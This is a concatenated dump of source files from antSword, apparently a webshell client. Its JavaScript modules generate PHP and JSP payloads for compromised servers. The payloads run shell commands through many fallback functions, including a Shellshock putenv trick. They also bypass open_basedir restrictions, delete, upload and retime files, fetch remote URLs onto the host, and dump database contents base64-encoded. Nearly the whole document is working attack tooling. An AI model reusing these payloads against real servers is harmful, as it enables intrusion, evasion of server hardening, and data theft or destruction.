output.append(showColumns(z1, z2, z3, z4));
`.replace(/\n\s+/g, ""),
},
query: {
_: `
function Base64Encode(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var ret = "";
try {
ret = new Base64().getEncoder().encodeToString(str.getBytes());
} catch (e) {
ret = new BASE64Encoder().encode(str.getBytes());
}
ret = ret.replaceAll("\\r|\\n", "");
return ret;
}
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var isRS = stmt.execute(sql);
if (isRS) {
var rs = stmt.getResultSet();
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += Base64Encode(columnValue) + columnsep;
}
ret += rowsep;
}
} else {
ret += "Result" + columnsep + rowsep;
var rowCount = stmt.getUpdateCount();
if (rowCount > 0) {
ret += Base64Encode("Rows changed = " + rowCount) + columnsep + rowsep;
} else if (rowCount == 0) {
ret +=
Base64Encode("No rows changed or statement was DDL command") +
columnsep +
rowsep;
} else {
ret += Base64Encode("False") + columnsep + rowsep;
}
}
return ret;
}
function query(encode, conn, sql) {
var columnsep = "\\t|\\t";
var rowsep = "\\r\\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
var z1 = decode("#{newbase64::encode}");
var z2 = decode("#{newbase64::conn}");
var z3 = decode("#{newbase64::sql}");
output.append(query(z1, z2, z3));
`.replace(/\n\s+/g, ""),
}
})
``` | /content/code_sandbox/source/core/jspjs/template/database/sqlserver.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,723 |
```javascript
/**
* PHP
* 2016/04/12
* -
* <path_to_url
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class PHP extends Base {
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'database/mysql',
'database/mysqli',
'database/mssql',
'database/sqlsrv',
'database/oracle',
'database/oracle_oci8',
'database/postgresql',
'database/postgresql_pdo',
'database/sqlite3',
'database/sqlite_pdo',
'database/informix'
].map((_) => {
this.parseTemplate(`./php/template/${_}`);
});
//
this
.encoders
.map((_) => {
this.parseEncoder(`./php/encoder/${_}`);
});
this
.decoders
.map((_) => {
this.parseDecoder(`./php/decoder/${_}`);
});
}
/**
*
* ? antSword.core.php.prototype.encoders
* @return {array}
*/
get encoders() {
return ["base64", "chr", "chr16", "rot13"];
}
get decoders() {
return ["default", "base64", "rot13"];
}
/**
* HTTP
* @param {Object} data
* @param {bool} force_default default
* @return {Promise} Promise
*/
complete(data, force_default = false) {
//
let tag_s, tag_e;
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tags']) {
tag_s = this.__opts__['otherConf']['custom-datatag-tags'];
} else {
tag_s = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "->|";
}
if (this.__opts__['otherConf'].hasOwnProperty('use-custom-datatag') && this.__opts__['otherConf']['use-custom-datatag'] == 1 && this.__opts__['otherConf']['custom-datatag-tage']) {
tag_e = this.__opts__['otherConf']['custom-datatag-tage'];
} else {
tag_e = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); // "|<-";
}
let asencCode;
let ext = {
opts: this.__opts__,
};
if (!force_default) {
asencCode = this.__decoder__[this.__opts__['decoder'] || 'default'].asoutput(ext);
} else {
asencCode = this.__decoder__['default'].asoutput(ext);
}
//
// @chdir('.');@ini_set('open_basedir','..');for($i=0;$i<10;$i++){@chdir('..');}@ini_set('open_basedir','/');
let tmpCode = data['_'];
let opdir = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5));
let bypassOpenBaseDirCode = `
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.${opdir}";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\\\\\|\\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};`.replace(/\n\s+/g, '');
data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);${bypassOpenBaseDirCode};${asencCode};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "${tag_s.substr(0,tag_s.length/2)}"."${tag_s.substr(tag_s.length/2)}";echo @asenc($output);echo "${tag_e.substr(0,tag_e.length/2)}"."${tag_e.substr(tag_e.length/2)}";}ob_start();try{${tmpCode};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();`;
//
return this.encodeComplete(tag_s, tag_e, data);
}
}
module.exports = PHP;
``` | /content/code_sandbox/source/core/php/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,143 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `$p=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));
$s=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));
$envstr=@base64_decode(substr($_POST["${arg3}"],#randomPrefix#));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)){
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
function runcmd($c){
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("\n",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}
@pclose($fp);
}elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}
while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(fe('antsystem')){
@antsystem($c);
}elseif(runshellshock($d, $c)) {
return $ret;
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}else{
$ret = 127;
}
return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::bin}",
[arg2]: "#{newbase64::cmd}",
[arg3]: "#{newbase64::env}"
},
listcmd: {
_: `$arr=explode(",",base64_decode(substr($_POST["${arg1}"],#randomPrefix#)));
foreach($arr as $v){
echo($v."\t".(file_exists($v)?"1":"0")."\n");
}`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::binarr}"
},
quote: {
_: `$p=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$s=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,
[arg1]: "#{newbase64::bin}",
[arg2]: "#{newbase64::cmd}"
}
})
``` | /content/code_sandbox/source/core/php/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,264 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `$D=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}`,
[arg1]: "#{newbase64::path}"
},
delete: {
_: `function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}$F=base64_decode(substr(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}`,
[arg1]: "#{newbase64::path}"
},
create_file: {
_: `echo @fwrite(fopen(base64_decode(substr($_POST["${arg1}"],#randomPrefix#)),"w"),base64_decode(substr($_POST["${arg2}"],#randomPrefix#)))?"1":"0";`,
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::content}"
},
read_file: {
_: `$F=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);`,
[arg1]: "#{newbase64::path}"
},
copy: {
_: `$m=get_magic_quotes_gpc();$fc=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$fp=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?"1":"0");`,
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::target}"
},
download_file: {
_: `$F=base64_decode(substr(get_magic_quotes_gpc()?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));$fp=@fopen($F,"r");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");}`,
[arg1]: "#{newbase64::path}"
},
upload_file: {
_: `$f=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));
$c=$_POST["${arg2}"];
$c=str_replace("\\r","",$c);
$c=str_replace("\\n","",$c);
$buf="";
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::path}",
[arg2]: "#{buffer::content}"
},
rename: {
_: `$m=get_magic_quotes_gpc();
$src=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$dst=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
echo(rename($src,$dst)?"1":"0");`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::name}"
},
retime: {
_: `$m=get_magic_quotes_gpc();
$FN=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$TM=strtotime(base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"], #randomPrefix#)));
if(file_exists($FN)){
echo(@touch($FN,$TM,$TM)?"1":"0");
}else{
echo("0");
};`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::time}"
},
chmod: {
_: `$m=get_magic_quotes_gpc();
$FN=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$mode=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
echo(chmod($FN,octdec($mode))?"1":"0");`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::path}",
[arg2]: "#{newbase64::mode}"
},
mkdir: {
_: `$m=get_magic_quotes_gpc();$f=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));echo(mkdir($f)?"1":"0");`,
[arg1]: "#{newbase64::path}"
},
wget: {
_: `$fR=base64_decode(substr($_POST["${arg1}"],#randomPrefix#));
$fL=base64_decode(substr($_POST["${arg2}"],#randomPrefix#));
$F=@fopen($fR,chr(114));
$L=@fopen($fL,chr(119));
if($F && $L){
while(!feof($F))
@fwrite($L,@fgetc($F));
@fclose($F);
@fclose($L);
echo("1");
}else{
echo("0");
};`.replace(/\n\s+/g, ''),
[arg1]: "#{newbase64::url}",
[arg2]: "#{newbase64::path}"
},
filehash: {
_: `$m=get_magic_quotes_gpc();
$f=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
echo("MD5\t".md5_file($f)."\n");
echo("SHA1\t".sha1_file($f)."\n");
`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::path}',
},
})
``` | /content/code_sandbox/source/core/php/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,853 |
```javascript
/**
* ::oracle
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$H=@Ora_Logon("\${usr}/\${pwd}@\${sid}","");
if(!$H){
echo("ERROR:// Login Failed!");
}else{
$T=@ora_open($H);
@ora_commitoff($H);
$q=@ora_parse($T,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");
if(ora_exec($T)){
while(ora_fetch($T)){
echo(trim(ora_getcolumn($T,0)).chr(9));
}
}
@ora_close($T);
};`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
//
show_tables: {
_: `$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");
if(!$H){
echo("ERROR:// Login Failed!");
}else{
$T=@ora_open($H);
@ora_commitoff($H);
$q=@ora_parse($T,"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)");
if(ora_exec($T)){
while(ora_fetch($T)){
echo(trim(ora_getcolumn($T,0)).chr(9));
}
}
@ora_close($T);
};`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
//
show_columns: {
_: `$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$tab=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");
if(!$H){
echo("ERROR:// Login Failed!");
}else{
$T=@ora_open($H);
@ora_commitoff($H);
$q=@ora_parse($T,"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='{$tab}' ORDER BY COLUMN_ID");
if(ora_exec($T)){
while(ora_fetch($T)){
echo(trim(ora_getcolumn($T,0))." (".ora_getcolumn($T,1).")".chr(9));
}
}
@ora_close($T);
};`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{table}'
},
// SQL
query: {
_: `$m=get_magic_quotes_gpc();
$sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]);
$H=@ora_plogon("{$usr}@{$sid}","{$pwd}");
if(!$H){
echo("ERROR:// Login Failed!");
}else{
$T=@ora_open($H);
@ora_commitoff($H);
$q=@ora_parse($T,"{$sql}");
$R=ora_exec($T);
if($R){
$n=ora_numcols($T);
for($i=0;$i<$n;$i++){
echo(Ora_ColumnName($T,$i)."\\t|\\t");
}
echo("\\r\\n");
while(ora_fetch($T)){
for($i=0;$i<$n;$i++){
echo(base64_encode(trim(ora_getcolumn($T,$i))));
echo("\\t|\\t");
}
echo("\\r\\n");
}
}else{
echo("ErrMsg\\t|\\t\\r\\n");
}
@ora_close($T);
};`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}'
}
})
``` | /content/code_sandbox/source/core/php/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,299 |
```javascript
/**
* ::mysql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$T=@mysql_connect($hst,$usr,$pwd);
$q=@mysql_query("SHOW DATABASES");
while($rs=@mysql_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mysql_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}'
},
//
show_tables: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$dbn=base64_decode(substr($m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"],#randomPrefix#));
$T=@mysql_connect($hst,$usr,$pwd);
$q=@mysql_query("SHOW TABLES FROM \`{$dbn}\`");
while($rs=@mysql_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mysql_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}',
[arg4]: '#{newbase64::db}'
},
//
show_columns: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$dbn=base64_decode(substr($m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"],#randomPrefix#));
$tab=base64_decode(substr($m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"],#randomPrefix#));
$T=@mysql_connect($hst,$usr,$pwd);
@mysql_select_db( $dbn, $T);
$q=@mysql_query("SHOW COLUMNS FROM \`{$tab}\`");
while($rs=@mysql_fetch_row($q)){
echo(trim($rs[0])." (".$rs[1].")".chr(9));
}
@mysql_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}',
[arg4]: '#{newbase64::db}',
[arg5]: '#{newbase64::table}'
},
// SQL
query: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$dbn=base64_decode(substr($m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"],#randomPrefix#));
$sql=base64_decode(substr($m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"],#randomPrefix#));
$T=@mysql_connect($hst,$usr,$pwd);
@mysql_query("SET NAMES ".base64_decode(substr($m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"],#randomPrefix#)));
@mysql_select_db($dbn, $T);
$q=@mysql_query($sql);
if(is_bool($q)){echo("Status\\t|\\t\\r\\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\\t|\\t\\r\\n");
}else{
$i=0;
while($col=@mysql_fetch_field($q)){
echo($col->name."\\t|\\t");
$i++;
}
echo("\\r\\n");
while($rs=@mysql_fetch_row($q)){
for($c=0;$c<$i;$c++){
echo(base64_encode(trim($rs[$c])));
echo("\\t|\\t");
}
echo("\\r\\n");
}
}
@mysql_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}',
[arg4]: '#{newbase64::db}',
[arg5]: '#{newbase64::sql}',
[arg6]: '#{newbase64::encode}'
}
})
``` | /content/code_sandbox/source/core/php/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,433 |
```javascript
/**
* ::mysql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
list($hst, $port) = explode(":", $hst);
$port == "" ? $port = "3306" : $port;
$T=@mysqli_connect($hst,$usr,$pwd,"",$port);
$q=@mysqli_query($T,"SHOW DATABASES");
while($rs=@mysqli_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mysqli_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}'
},
//
show_tables: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$dbn=base64_decode(substr($m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"],#randomPrefix#));
list($hst, $port) = explode(":", $hst);
$port == "" ? $port = "3306" : $port;
$T=@mysqli_connect($hst,$usr,$pwd,"",$port);
$q=@mysqli_query($T, "SHOW TABLES FROM \`{$dbn}\`");
while($rs=@mysqli_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mysqli_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}',
[arg4]: '#{newbase64::db}'
},
//
show_columns: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$dbn=base64_decode(substr($m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"],#randomPrefix#));
$tab=base64_decode(substr($m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"],#randomPrefix#));
list($hst, $port) = explode(":", $hst);
$port == "" ? $port = "3306" : $port;
$T=@mysqli_connect($hst,$usr,$pwd,"",$port);
@mysqli_select_db($T, $dbn);
$q=@mysqli_query($T, "SHOW COLUMNS FROM \`{$tab}\`");
while($rs=@mysqli_fetch_row($q)){
echo(trim($rs[0])." (".$rs[1].")".chr(9));
}
@mysqli_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}',
[arg4]: '#{newbase64::db}',
[arg5]: '#{newbase64::table}'
},
// SQL
query: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$dbn=base64_decode(substr($m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"],#randomPrefix#));
$sql=base64_decode(substr($m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"],#randomPrefix#));
list($hst, $port) = explode(":", $hst);
$port == "" ? $port = "3306" : $port;
$T=@mysqli_connect($hst,$usr,$pwd,"",$port);
@mysqli_query($T,"SET NAMES ".base64_decode(substr($m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"],#randomPrefix#)));
@mysqli_select_db($T,$dbn);
$q=@mysqli_query($T,$sql);
if(is_bool($q)){
echo("Status\\t|\\t\\r\\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\\t|\\t\\r\\n");
}else{
$i=0;
while($col=@mysqli_fetch_field($q)){echo($col->name."\t|\t");
$i++;
}
echo("\r\n");
while($rs=@mysqli_fetch_row($q)){
for($c=0;$c<$i;$c++){
echo(base64_encode(trim($rs[$c])));
echo("\t|\t");
}
echo("\r\n");
}
}
@mysqli_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}',
[arg4]: '#{newbase64::db}',
[arg5]: '#{newbase64::sql}',
[arg6]: '#{newbase64::encode}'
}
})
``` | /content/code_sandbox/source/core/php/template/database/mysqli.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,586 |
```javascript
/**
* :: sqlite3
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR://CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
echo("main".chr(9));
$dbh->close();
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
//
show_tables: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
